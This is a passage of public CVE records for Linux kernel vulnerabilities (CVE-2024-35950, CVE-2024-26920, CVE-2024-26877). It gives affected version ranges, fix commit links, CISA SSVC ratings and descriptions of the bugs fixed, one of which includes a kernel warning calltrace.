              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/client: Fully protect modes[] with dev-\u003emode_config.mutex\n\nThe modes[] array contains pointers to modes on the connectors\u0027\nmode lists, which are protected by dev-\u003emode_config.mutex.\nThus we need to extend modes[] the same protection or by the\ntime we use it the elements may already be pointing to\nfreed/reused memory."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:19.932Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5a2f957e3c4553bbb100504a1acfeaeb33f4ca4e"
        },
        {
          "url": "https://git.kernel.org/stable/c/41586487769eede64ab1aa6c65c74cbf76c12ef0"
        },
        {
          "url": "https://git.kernel.org/stable/c/d2dc6600d4e3e1453e3b1fb233e9f97e2a1ae949"
        },
        {
          "url": "https://git.kernel.org/stable/c/18c8cc6680ce938d0458859b6a08b4d34f7d8055"
        },
        {
          "url": "https://git.kernel.org/stable/c/04e018bd913d3d3336ab7d21c2ad31a9175fe984"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ceb873d816786a7c8058f50d903574aff8d3764"
        },
        {
          "url": "https://git.kernel.org/stable/c/3eadd887dbac1df8f25f701e5d404d1b90fd0fea"
        }
      ],
      "title": "drm/client: Fully protect modes[] with dev-\u003emode_config.mutex",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35950",
    "datePublished": "2024-05-20T09:41:45.333Z",
    "dateReserved": "2024-05-17T13:50:33.134Z",
    "dateUpdated": "2026-05-12T11:53:09.471Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26920 (GCVE-0-2024-26920)

Vulnerability from cvelistv5 – Published: 2024-04-17 15:59 – Updated: 2026-05-12 11:50

Title

tracing/trigger: Fix to return error if failed to alloc snapshot

Summary

In the Linux kernel, the following vulnerability has been resolved: tracing/trigger: Fix to return error if failed to alloc snapshot Fix register_snapshot_trigger() to return error code if it failed to allocate a snapshot instead of 0 (success). Unless that, it will register snapshot trigger without an error.

Severity ?

No CVSS data available.

Assigner

Linux

References

4 references

URL	Tags
https://git.kernel.org/stable/c/36be97e9eb535fe30…
https://git.kernel.org/stable/c/6022c065c9ec465d8…
https://git.kernel.org/stable/c/4b001ef14baab16b5…
https://git.kernel.org/stable/c/0958b33ef5a04ed91…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0bbe7f719985efd9adb3454679ecef0984cb6800 , < 36be97e9eb535fe3008a5cb040b1e56f29f2e398 (git) Affected: 0bbe7f719985efd9adb3454679ecef0984cb6800 , < 6022c065c9ec465d84cebff8f480db083e4ee06b (git) Affected: 0bbe7f719985efd9adb3454679ecef0984cb6800 , < 4b001ef14baab16b553a002cb9979e31b8fc0c6b (git) Affected: 0bbe7f719985efd9adb3454679ecef0984cb6800 , < 0958b33ef5a04ed91f61cef4760ac412080c4e08 (git) Affected: 7c6feb347a4bb1f02e55f6814c93b5f7fab887a8 (git) Affected: a289fd864722dcf5363fec66a35965d4964df515 (git) Affected: 7054f86f268c0d9d62b52a4497dd0e8c10a7e5c7 (git) Affected: 57f2a2ad73e99a7594515848f4da987326a15981 (git) Affected: 0026e356e51ab3b54322eeb445c75a087ede5b9d (git) Affected: ffa70d104691aa609a18a9a6692049deb35f431f (git) Affected: 733c611a758c68894a4480fb999637476118a8fc (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 6.1.79 , ≤ 6.1.* (semver) Unaffected: 6.6.18 , ≤ 6.6.* (semver) Unaffected: 6.7.6 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26920",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:45:09.763406Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:48:12.761Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.502Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bcf4a115a5068f3331fafb8c176c1af0da3d8b19"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/34925d01baf3ee62ab21c21efd9e2c44c24c004a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8ffd5590f4d6ef5460acbeac7fbdff7025f9b419"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2450a69d2ee75d1f0112d509ac82ef98f5ad6b5f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/56cfbe60710772916a5ba092c99542332b48e870"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/26ebeffff238488466fa578be3b35b8a46e69906"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b5085b5ac1d96ea2a8a6240f869655176ce44197"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2a3073d58382157ab396734ed4e421ba9e969db1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/36be97e9eb535fe3008a5cb040b1e56f29f2e398"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6022c065c9ec465d84cebff8f480db083e4ee06b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4b001ef14baab16b553a002cb9979e31b8fc0c6b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0958b33ef5a04ed91f61cef4760ac412080c4e08"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:33.693Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/trace_events_trigger.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "36be97e9eb535fe3008a5cb040b1e56f29f2e398",
              "status": "affected",
              "version": "0bbe7f719985efd9adb3454679ecef0984cb6800",
              "versionType": "git"
            },
            {
              "lessThan": "6022c065c9ec465d84cebff8f480db083e4ee06b",
              "status": "affected",
              "version": "0bbe7f719985efd9adb3454679ecef0984cb6800",
              "versionType": "git"
            },
            {
              "lessThan": "4b001ef14baab16b553a002cb9979e31b8fc0c6b",
              "status": "affected",
              "version": "0bbe7f719985efd9adb3454679ecef0984cb6800",
              "versionType": "git"
            },
            {
              "lessThan": "0958b33ef5a04ed91f61cef4760ac412080c4e08",
              "status": "affected",
              "version": "0bbe7f719985efd9adb3454679ecef0984cb6800",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7c6feb347a4bb1f02e55f6814c93b5f7fab887a8",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a289fd864722dcf5363fec66a35965d4964df515",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7054f86f268c0d9d62b52a4497dd0e8c10a7e5c7",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "57f2a2ad73e99a7594515848f4da987326a15981",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "0026e356e51ab3b54322eeb445c75a087ede5b9d",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "ffa70d104691aa609a18a9a6692049deb35f431f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "733c611a758c68894a4480fb999637476118a8fc",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/trace/trace_events_trigger.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.18",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.79",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.18",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.6",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.4.220",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.220",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.177",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.19.117",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.4.34",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.6.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntracing/trigger: Fix to return error if failed to alloc snapshot\n\nFix register_snapshot_trigger() to return error code if it failed to\nallocate a snapshot instead of 0 (success). Unless that, it will register\nsnapshot trigger without an error."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:56.044Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/36be97e9eb535fe3008a5cb040b1e56f29f2e398"
        },
        {
          "url": "https://git.kernel.org/stable/c/6022c065c9ec465d84cebff8f480db083e4ee06b"
        },
        {
          "url": "https://git.kernel.org/stable/c/4b001ef14baab16b553a002cb9979e31b8fc0c6b"
        },
        {
          "url": "https://git.kernel.org/stable/c/0958b33ef5a04ed91f61cef4760ac412080c4e08"
        }
      ],
      "title": "tracing/trigger: Fix to return error if failed to alloc snapshot",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26920",
    "datePublished": "2024-04-17T15:59:28.203Z",
    "dateReserved": "2024-02-19T14:20:24.194Z",
    "dateUpdated": "2026-05-12T11:50:33.693Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26877 (GCVE-0-2024-26877)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

crypto: xilinx - call finalize with bh disabled

Summary

In the Linux kernel, the following vulnerability has been resolved: crypto: xilinx - call finalize with bh disabled When calling crypto_finalize_request, BH should be disabled to avoid triggering the following calltrace: ------------[ cut here ]------------ WARNING: CPU: 2 PID: 74 at crypto/crypto_engine.c:58 crypto_finalize_request+0xa0/0x118 Modules linked in: cryptodev(O) CPU: 2 PID: 74 Comm: firmware:zynqmp Tainted: G O 6.8.0-rc1-yocto-standard #323 Hardware name: ZynqMP ZCU102 Rev1.0 (DT) pstate: 40000005 (nZcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : crypto_finalize_request+0xa0/0x118 lr : crypto_finalize_request+0x104/0x118 sp : ffffffc085353ce0 x29: ffffffc085353ce0 x28: 0000000000000000 x27: ffffff8808ea8688 x26: ffffffc081715038 x25: 0000000000000000 x24: ffffff880100db00 x23: ffffff880100da80 x22: 0000000000000000 x21: 0000000000000000 x20: ffffff8805b14000 x19: ffffff880100da80 x18: 0000000000010450 x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000 x14: 0000000000000003 x13: 0000000000000000 x12: ffffff880100dad0 x11: 0000000000000000 x10: ffffffc0832dcd08 x9 : ffffffc0812416d8 x8 : 00000000000001f4 x7 : ffffffc0830d2830 x6 : 0000000000000001 x5 : ffffffc082091000 x4 : ffffffc082091658 x3 : 0000000000000000 x2 : ffffffc7f9653000 x1 : 0000000000000000 x0 : ffffff8802d20000 Call trace: crypto_finalize_request+0xa0/0x118 crypto_finalize_aead_request+0x18/0x30 zynqmp_handle_aes_req+0xcc/0x388 crypto_pump_work+0x168/0x2d8 kthread_worker_fn+0xfc/0x3a0 kthread+0x118/0x138 ret_from_fork+0x10/0x20 irq event stamp: 40 hardirqs last enabled at (39): [<ffffffc0812416f8>] _raw_spin_unlock_irqrestore+0x70/0xb0 hardirqs last disabled at (40): [<ffffffc08122d208>] el1_dbg+0x28/0x90 softirqs last enabled at (36): [<ffffffc080017dec>] kernel_neon_begin+0x8c/0xf0 softirqs last disabled at (34): [<ffffffc080017dc0>] kernel_neon_begin+0x60/0xf0 ---[ end trace 0000000000000000 ]---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/8a01335aedc50a66d…
https://git.kernel.org/stable/c/03e6d4e948432a61b…
https://git.kernel.org/stable/c/a71f66bd5f7b9b35a…
https://git.kernel.org/stable/c/23bc89fdce71124cd…
https://git.kernel.org/stable/c/9db89b1fb85557892…
https://git.kernel.org/stable/c/dbf291d8ffffb70f4…
https://git.kernel.org/stable/c/a853450bf4c752e66…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5 , < 8a01335aedc50a66d04dd39203c89f4bc8042596 (git) Affected: 4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5 , < 03e6d4e948432a61b35783323b6ab2be071d2619 (git) Affected: 4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5 , < a71f66bd5f7b9b35a8aaa49e29565eca66299399 (git) Affected: 4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5 , < 23bc89fdce71124cd2126fc919c7076e7cb489cf (git) Affected: 4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5 , < 9db89b1fb85557892e6681724b367287de5f9f20 (git) Affected: 4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5 , < dbf291d8ffffb70f48286176a15c6c54f0bb0743 (git) Affected: 4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5 , < a853450bf4c752e664abab0b2fad395b7ad7701c (git)
Linux	Linux	Affected: 5.7 Unaffected: 0 , < 5.7 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.426Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8a01335aedc50a66d04dd39203c89f4bc8042596"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/03e6d4e948432a61b35783323b6ab2be071d2619"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a71f66bd5f7b9b35a8aaa49e29565eca66299399"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/23bc89fdce71124cd2126fc919c7076e7cb489cf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9db89b1fb85557892e6681724b367287de5f9f20"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dbf291d8ffffb70f48286176a15c6c54f0bb0743"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a853450bf4c752e664abab0b2fad395b7ad7701c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26877",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:48:28.996233Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:26.216Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:50.041Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/xilinx/zynqmp-aes-gcm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "8a01335aedc50a66d04dd39203c89f4bc8042596",
              "status": "affected",
              "version": "4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5",
              "versionType": "git"
            },
            {
              "lessThan": "03e6d4e948432a61b35783323b6ab2be071d2619",
              "status": "affected",
              "version": "4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5",
              "versionType": "git"
            },
            {
              "lessThan": "a71f66bd5f7b9b35a8aaa49e29565eca66299399",
              "status": "affected",
              "version": "4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5",
              "versionType": "git"
            },
            {
              "lessThan": "23bc89fdce71124cd2126fc919c7076e7cb489cf",
              "status": "affected",
              "version": "4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5",
              "versionType": "git"
            },
            {
              "lessThan": "9db89b1fb85557892e6681724b367287de5f9f20",
              "status": "affected",
              "version": "4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5",
              "versionType": "git"
            },
            {
              "lessThan": "dbf291d8ffffb70f48286176a15c6c54f0bb0743",
              "status": "affected",
              "version": "4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5",
              "versionType": "git"
            },
            {
              "lessThan": "a853450bf4c752e664abab0b2fad395b7ad7701c",
              "status": "affected",
              "version": "4d96f7d48131fefe30d7c1d1e2a23ef37164dbf5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/crypto/xilinx/zynqmp-aes-gcm.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.7"
            },
            {
              "lessThan": "5.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: xilinx - call finalize with bh disabled\n\nWhen calling crypto_finalize_request, BH should be disabled to avoid\ntriggering the following calltrace:\n\n    ------------[ cut here ]------------\n    WARNING: CPU: 2 PID: 74 at crypto/crypto_engine.c:58 crypto_finalize_request+0xa0/0x118\n    Modules linked in: cryptodev(O)\n    CPU: 2 PID: 74 Comm: firmware:zynqmp Tainted: G           O       6.8.0-rc1-yocto-standard #323\n    Hardware name: ZynqMP ZCU102 Rev1.0 (DT)\n    pstate: 40000005 (nZcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n    pc : crypto_finalize_request+0xa0/0x118\n    lr : crypto_finalize_request+0x104/0x118\n    sp : ffffffc085353ce0\n    x29: ffffffc085353ce0 x28: 0000000000000000 x27: ffffff8808ea8688\n    x26: ffffffc081715038 x25: 0000000000000000 x24: ffffff880100db00\n    x23: ffffff880100da80 x22: 0000000000000000 x21: 0000000000000000\n    x20: ffffff8805b14000 x19: ffffff880100da80 x18: 0000000000010450\n    x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n    x14: 0000000000000003 x13: 0000000000000000 x12: ffffff880100dad0\n    x11: 0000000000000000 x10: ffffffc0832dcd08 x9 : ffffffc0812416d8\n    x8 : 00000000000001f4 x7 : ffffffc0830d2830 x6 : 0000000000000001\n    x5 : ffffffc082091000 x4 : ffffffc082091658 x3 : 0000000000000000\n    x2 : ffffffc7f9653000 x1 : 0000000000000000 x0 : ffffff8802d20000\n    Call trace:\n     crypto_finalize_request+0xa0/0x118\n     crypto_finalize_aead_request+0x18/0x30\n     zynqmp_handle_aes_req+0xcc/0x388\n     crypto_pump_work+0x168/0x2d8\n     kthread_worker_fn+0xfc/0x3a0\n     kthread+0x118/0x138\n     ret_from_fork+0x10/0x20\n    irq event stamp: 40\n    hardirqs last  enabled at (39): [\u003cffffffc0812416f8\u003e] _raw_spin_unlock_irqrestore+0x70/0xb0\n    hardirqs last disabled at (40): [\u003cffffffc08122d208\u003e] el1_dbg+0x28/0x90\n    softirqs last  enabled at (36): [\u003cffffffc080017dec\u003e] kernel_neon_begin+0x8c/0xf0\n    softirqs last disabled at (34): [\u003cffffffc080017dc0\u003e] kernel_neon_begin+0x60/0xf0\n    ---[ end trace 0000000000000000 ]---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:59.609Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/8a01335aedc50a66d04dd39203c89f4bc8042596"
        },
        {
          "url": "https://git.kernel.org/stable/c/03e6d4e948432a61b35783323b6ab2be071d2619"
        },
        {
          "url": "https://git.kernel.org/stable/c/a71f66bd5f7b9b35a8aaa49e29565eca66299399"
        },
        {
          "url": "https://git.kernel.org/stable/c/23bc89fdce71124cd2126fc919c7076e7cb489cf"
        },
        {
          "url": "https://git.kernel.org/stable/c/9db89b1fb85557892e6681724b367287de5f9f20"
        },
        {
